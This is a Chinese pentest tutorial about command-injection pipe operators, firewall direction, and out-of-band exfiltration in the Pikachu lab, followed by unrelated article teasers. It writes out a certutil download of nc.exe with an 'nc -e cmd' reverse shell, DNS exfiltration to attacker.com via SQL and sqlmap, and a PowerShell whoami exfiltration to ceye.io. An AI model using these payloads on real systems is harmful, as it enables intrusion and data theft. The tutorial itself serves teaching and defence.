010502管道符_防火墻出入站_不回顯帶外-滲透命令-基礎入門-網絡安全

文章目錄

    • 1 管道符
    • 2 防火墻出入站
    • 3 不回顯外帶
      • 典型場景
      • 常見OOB通道
      • 實現示例(以DNS為例)
        • 1. 利用DNS外帶數據
        • 2. 使用工具監聽
      • 防御建議
      • 擴展:無回顯OOB自動化工具
      • 注意事項
      • 演示
      • 結語

1 管道符

| (管道符號)
||(邏輯或)
&&(邏輯與)
&(后臺任務符號)

windows| & || &&

Linux: `| || & && ; ```,````和;為linux特有

linux演示:在這里插入圖片描述

案例演示:pikachu ping命令執行反向鏈接 ,在這里插入圖片描述

分析:

  • 判斷為windows系統

  • windows沒有自帶的nc命令

  • 想辦法上傳nc

    ping 172.0.0.1 | certutil.exe -urlcache -split -f http://192.168.0.104:80/nc.exe l:\\nc.exe
    ping 172.0.0.1 | 
    
  • 反彈權限

完成上述步驟后,執行如下命令

# windows
ping 127.0.0.1 | l:\\nc.exe -e cmd 192.168.0.105 5566    
# linux
ncat -lvvp 5566

如下圖所示:在這里插入圖片描述

2 防火墻出入站

這里我們以windows防火墻為例,測試連接。

“防火墻出入站”指的是防火墻規則中數據流動的方向,核心是以防火墻所保護的網絡或主機為參照點。

簡單來說:

  1. 入站 (Inbound / Ingress):
    • 方向:外部網絡(比如互聯網)流向防火墻保護的內部網絡或主機
    • 例子:
      • 互聯網上的用戶訪問你公司的網站服務器。
      • 外部人員嘗試通過 SSH 連接你的內部服務器。
      • 來自互聯網的電子郵件到達你的郵件服務器。
    • 防火墻規則作用: 控制誰可以訪問你的內部資源以及訪問哪些服務(端口)。這是防火墻最主要的防護功能,通常規則設置得比較嚴格(默認阻止大部分入站連接,只開放必要的服務)。
    • 參照點: 數據是進入被保護的區域。
  2. 出站 (Outbound / Egress):
    • 方向:防火墻保護的內部網絡或主機流向外部網絡(比如互聯網)。
    • 例子:
      • 你辦公室的電腦訪問谷歌搜索。
      • 你內部的服務器從外部軟件倉庫下載更新。
      • 你的郵件服務器向外部發送電子郵件。
    • 防火墻規則作用: 控制內部用戶或設備可以訪問外部哪些資源(IP、域名、端口、協議)。規則通常相對寬松(默認允許大部分出站連接),但也用于:
      • 阻止訪問惡意網站。
      • 限制訪問某些類型的網站(如社交媒體、游戲)。
      • 防止內部惡意軟件或受感染主機“回連”到外部命令控制服務器。
      • 防止內部主機進行端口掃描等惡意行為。
    • 參照點: 數據是離開被保護的區域。

關鍵區別總結:

特性入站 (Inbound/Ingress)出站 (Outbound/Egress)
方向進入受保護網絡/主機離開受保護網絡/主機
來源外部網絡 (如互聯網)內部網絡/主機
目標內部網絡/主機外部網絡 (如互聯網)
主要目的保護內部資源不被外部訪問/攻擊控制內部資源對外部的訪問
默認規則通常較嚴格 (默認拒絕/阻止大部分連接)通常較寬松 (默認允許大部分連接)
例子訪問網站服務器、遠程桌面連接、接收郵件瀏覽網頁、下載文件、發送郵件、訪問云服務

為什么理解出入站方向很重要?

  1. 精準配置規則: 創建防火墻規則時,必須明確指定規則是應用于入站流量還是出站流量,否則規則無效或達不到預期效果。
  2. 理解安全策略: 防火墻的安全策略核心就是定義“什么入站流量允許進來”和“什么出站流量允許出去”。
  3. 故障排查: 當網絡連接出現問題時,判斷是入站規則還是出站規則阻止了連接是解決問題的關鍵第一步。
  4. 合規性與審計: 許多安全標準和法規要求對出入站流量進行明確的控制、監控和審計。

簡單記憶方法:

  • 入站: 別人 (外部) 想進來訪問 (內部) 的東西。
  • 出站: (內部) 想出去訪問別人 (外部) 的東西。

理解出入站方向是配置和管理任何防火墻(無論是硬件防火墻、軟件防火墻、云防火墻還是主機防火墻)的基礎。你需要根據你的安全需求,在出入站兩個方向上分別設置允許或拒絕流量的規則。

windows開啟防火墻之后,linux無法正向連接windows,即windows防火墻入站被限制。入站放行5566端口之后,正向連接正常,如下圖所示:在這里插入圖片描述

出站方向同樣如此,這里不再演示,因為嚴進寬出的策略,入站放行即使沒有顯示禁用5566端口,5566端口入站方向也是被禁止訪問的。

3 不回顯外帶

當命令執行沒有顯示的回顯時,我們不知道是否執行,執行結果是什么,此時可借助外部網站顯示。

在網絡安全或滲透測試中,“不回顯帶外”(Out-of-Band, OOB)通常指利用非直接回顯的通道傳輸數據,常用于漏洞利用(如SQL注入、XXE、命令注入等)。以下是常見場景和實現思路:


典型場景

  1. 無回顯漏洞利用
    當攻擊注入點不返回結果時(如盲注),通過OOB通道將數據外帶。
    • 示例SQL盲注 中利用DNS請求外帶數據庫數據。
  2. 繞過防火墻/過濾
    避免觸發基于請求/響應的安全檢測。
  3. 隱蔽數據泄露
    通過DNS、HTTP、SMB等協議外傳敏感信息。

常見OOB通道

協議原理工具
DNS目標發起DNS查詢,攻擊者從DNS日志中提取數據dnslog.cn, Burp Collaborator
HTTP目標向攻擊者服務器發送HTTP請求攜帶數據Python http.server, ngrok
SMB目標訪問攻擊者偽造的SMB服務器Impacket smbserver.py

實現示例(以DNS為例)

1. 利用DNS外帶數據
-- SQL注入示例(MySQL)
LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.attacker.com\\fake'));
  • 目標向 {hex_data}.attacker.com 發起DNS查詢,攻擊者從日志中提取數據。
2. 使用工具監聽
  • 免費平臺:訪問 dnslog.cn 獲取臨時域名。
  • 專業工具:Burp Suite 的 Collaborator 模塊。

防御建議

  1. 輸入嚴格過濾
    禁止特殊字符(如 \, $, |)。
  2. 限制出站請求
    防火墻規則限制服務器發起DNS/HTTP請求。
  3. 啟用日志審計
    監控異常DNS查詢或外連行為。
  4. 最小化權限
    數據庫/服務使用低權限賬戶運行。

擴展:無回顯OOB自動化工具

  • SQLMap:使用 --dns-domain 參數自動化OOB注入檢測。

    sqlmap -u "http://target.com?id=1" --dns-domain=attacker.com
    
  • XXExploiter:專用于XXE OOB利用(GitHub)。


注意事項

  • 合法性:未經授權測試屬違法行為。
  • 隱蔽性:實際攻擊中可能被安全設備(如IDS)檢測。
  • 依賴環境:目標需能訪問外網(如允許DNS解析)。

演示

這里dns我們利用第三方網站,有興趣的可以自己搭建,有專門教程。

第一步:注釋掉pikachu ping命令執行中結果回顯,如下圖所示在這里插入圖片描述

第二步:下面連接3注冊賬號,payloads頁面找到對應系統的需要執行的命令,我們的是windows

ping 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.xxx.ceye.io';$z=$x+$y;ping $z
  • xxx:為自己配置

效果如下圖所示:在這里插入圖片描述

結語

?QQ:806797785

??倉庫地址:https://gitee.com/gaogzhen

??倉庫地址:https://github.com/gaogzhen

[1]全棧網絡安全 | 滲透測試 | 高級紅藍對抗 V2024最新版[CP/OL].

[2]棱角社區[CP/OL].

[3]CEYE[CP/OL].

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/86941.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/86941.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/86941.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

智慧養老與數字健康:科技賦能老年生活,構建全方位養老體系

在全球人口老齡化進程不斷加速的當下,我國的老齡化程度也日益加深。 截至 2023 年末,我國 60 歲及以上人口達 2.97 億人,占總人口的 21.1%,其中 65 歲及以上人口為 2.17 億人,占總人口的 15.4%。 養老問題已成為全社…

在 cuda 基礎環境中安裝完整的cupy

nvidia/cuda:12.6.3-cudnn-devel-ubuntu22.04 1. 創建 cuda 基礎容器 export NUM2 && \ sudo docker run --gpus all -it \ --name cupy_LHL_${NUM} \ -v /home/jimmy/ex_cupy/tmp${NUM}:/root/tmp${NUM} \ -v /home/jimmy/.ssh:/root/.ssh \ nvidia/cuda:12.6.3-dev…

OB Cloud × 海牙灣:打造高效靈活的金融科技 AI 數字化解決方案

在金融行業國產升級的戰略背景下,上海海牙灣信息科技有限公司憑借其服務銀行客戶的深厚積累,近日完成重大技術升級 —— 將金融行業積分生態的SaaS平臺、數字化營銷中臺及企業供應鏈管理系統全部遷移至完全自主研發的 OB Cloud 一體化云數據庫。依托OB C…

LarkXR 賦能AI x XR數字供應鏈:引領智能設計、數字孿生與零售新未來

全球零售業數字化轉型 在數字化浪潮的推動下,零售業正經歷一場從設計到生產再到終端消費的全鏈路變革。消費者對個性化、沉浸式體驗的需求日益增長,而企業也亟需通過數字化手段提升效率、降低成本并增強競爭力。Paraverse平行云的LarkXR實時云渲染技術&…

go語言快速入門

代碼倉庫 gitee 如何運行 以打印hello world為例 // main.go package main // package為main的文件可以直接運行import "fmt"func main() {fmt.Println("Hello, World!") }# 直接運行 go run main.go # 或者編譯后運行 go build main.go ./main.exe變量…

使用麒麟V10操作系統的KVM服務,但麒麟V10存在高危漏洞無法修復?

麒麟V10操作系統之KVM部署虛擬機_麒麟v10安裝kvm-CSDN博客文章瀏覽閱讀3.7k次,點贊30次,收藏25次。本文介紹了在麒麟V10操作系統上部署KVM虛擬機的詳細步驟,包括檢查虛擬化支持、安裝KVM組件、創建虛擬機、配置網絡橋接,以及解決可…

PG、SprinBoot項目報錯,表不存在

1、用戶名密碼錯誤 2、數據庫IP和數據庫名稱錯誤 3、類似于如下的表結構 PG 默認掃描PUBLIC下面的表,需要手動指定schema,currentSchemaswdn_new url: jdbc:postgresql://${PGSQL_HOST:127.0.0.1}:${PGSQL_PORT:5432}/swdn_new?currentSchemaswdn_ne…

python類成員概要

python類成員概要 python類成員分類如圖: 簡要說明: 1.實例變量(Instance Variables) 定義:在方法中通過 self.變量名 聲明,屬于單個實例 特點:每個實例擁有獨立副本,在實例間不共…

Java性能問題排查

1. Java 性能排查 使用JPS查看當前Java進程 jps #查詢需要排查的Java進程ID查看Java進程內最耗費CPU的線程資源使用情況 top -H -p <Java進程pid>ps -Lfp <Java進程pid>ps -mp <Java進程pid> -o THREAD, tid, time根據第1步查詢出的PID&#xff0c;通過jstac…

基于OpenCV和深度學習實現圖像風格遷移

文章目錄 引言一、準備工作二、代碼實現解析1. 讀取和顯示原始圖像2. 圖像預處理3. 加載和運行風格遷移模型4. 處理輸出結果 三、效果展示四、擴展應用五、總結 引言 圖像風格遷移是計算機視覺中一個非常有趣的應用&#xff0c;它可以將一幅圖像的內容與另一幅圖像的藝術風格相…

SwiftUI隱藏返回按鈕保留右滑手勢方案

SwiftUI 隱藏返回按鈕但保留右滑返回手勢的方案 在 SwiftUI 中&#xff0c;如果你使用&#xff1a; .navigationBarBackButtonHidden(true)可以隱藏系統返回按鈕&#xff0c;但會發現 右滑返回手勢&#xff08;邊緣返回&#xff09;失效了。 這是因為 SwiftUI 底層使用了 UI…

練習小項目11:鼠標跟隨小圓點

&#x1f3af; 項目目標&#xff1a; 當鼠標在頁面移動時&#xff0c;小圓點會跟隨鼠標移動的位置&#xff0c;帶有平滑動畫。 &#x1f9e0; 實現思路&#xff1a; HTML&#xff1a; 頁面內放一個 div 作為圓點。 CSS&#xff1a; 圓點使用絕對定位&#xff0c;初始在屏幕…

華為:eSight網管平臺使用snmp納管交換機

一、SNMP簡介 SNMP&#xff08;Simple Network Management Protocol&#xff0c;簡單網絡管理協議&#xff09;是一種用于管理和監控網絡設備的標準協議&#xff0c;廣泛應用于路由器、交換機、服務器、打印機等網絡設備的管理場景。以下是對它的簡單介紹&#xff1a; 1、SNM…

【單片機期末】接口及應用

一、C51語言基礎 【考點】存儲類型 data是低128字節 code是ROM idata是高128字節 pdata是外部RAM可以用R0 R1尋址的&#xff0c;也叫頁 xdata是外部RAM&#xff0c;可以用DPTR尋址或總線擴展 其中data、code、idata、pdata、xdata均為字節類型的&#xff0c;bdata是對位尋址的 …

C#迭代器

文檔 C# Iterators 關鍵內容 普通接口 public interface IEnumerable {IEnumerator GetEnumerator(); }public interface IEnumerator {object Current { get; }bool MoveNext();void Reset(); }泛型接口 public interface IEnumerable<out T> : IEnumerable {IEnum…

Java多線程:為什么wait()必須用循環而非if?

在Java多線程編程中&#xff0c;調用wait()方法時應使用**循環結構&#xff08;while循環&#xff09;**而非if塊&#xff0c;這是由線程同步的特性和潛在風險決定的。以下是具體原因和實現規范&#xff1a; 一、正確調用方式 synchronized (lockObject) {while (!condition) …

Fiori 初學記錄----怎么調用后端系統odata 服務實現簡單的CURD

1.對上面的內表做一個簡單的增刪改查的操作 SEGW 創建odata 項目&#xff0c;實現增刪改查方法。如下圖 2.odata 準備完畢后&#xff0c;打開vscode 下一步等待項目生成 把下面這個目錄的視圖&#xff1a;替換一下&#xff1a; View1.view.xml 代碼&#xff1a; <…

OpenCV CUDA模塊圖像變形------對圖像進行GPU加速的仿射變換函數warpAffine()

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 該函數用于對圖像進行 GPU 加速的仿射變換&#xff08;Affine Transformation&#xff09;&#xff0c;是 cv::warpAffine 的 CUDA 版本。支持平…

語音增強方法

一、音量增強 音量增強&#xff0c;顧名思義就是音量的調大和調小&#xff0c;通過對音量進行增強可以使得模型更好的泛化。防止數據只有小音量時&#xff0c;當有大音量傳入時模型不能很好的進行識別。 下面是我對音量增強生成頻譜圖進行可視化的結果 上面的一個圖片是音量…

內網滲透測試技巧與利用操作手冊(SMB / MSSQL / LDAP)

SMB 枚舉與利用清單 &#x1f50d; SMB 枚舉與連接 # 嘗試空會話連接&#xff08;Null Session&#xff09; smbclient -N -U "" -L \\<IP> smbclient -N -U "test" -L \\<IP> smbclient -N -U "Guest" -L \\<IP># 下載共享…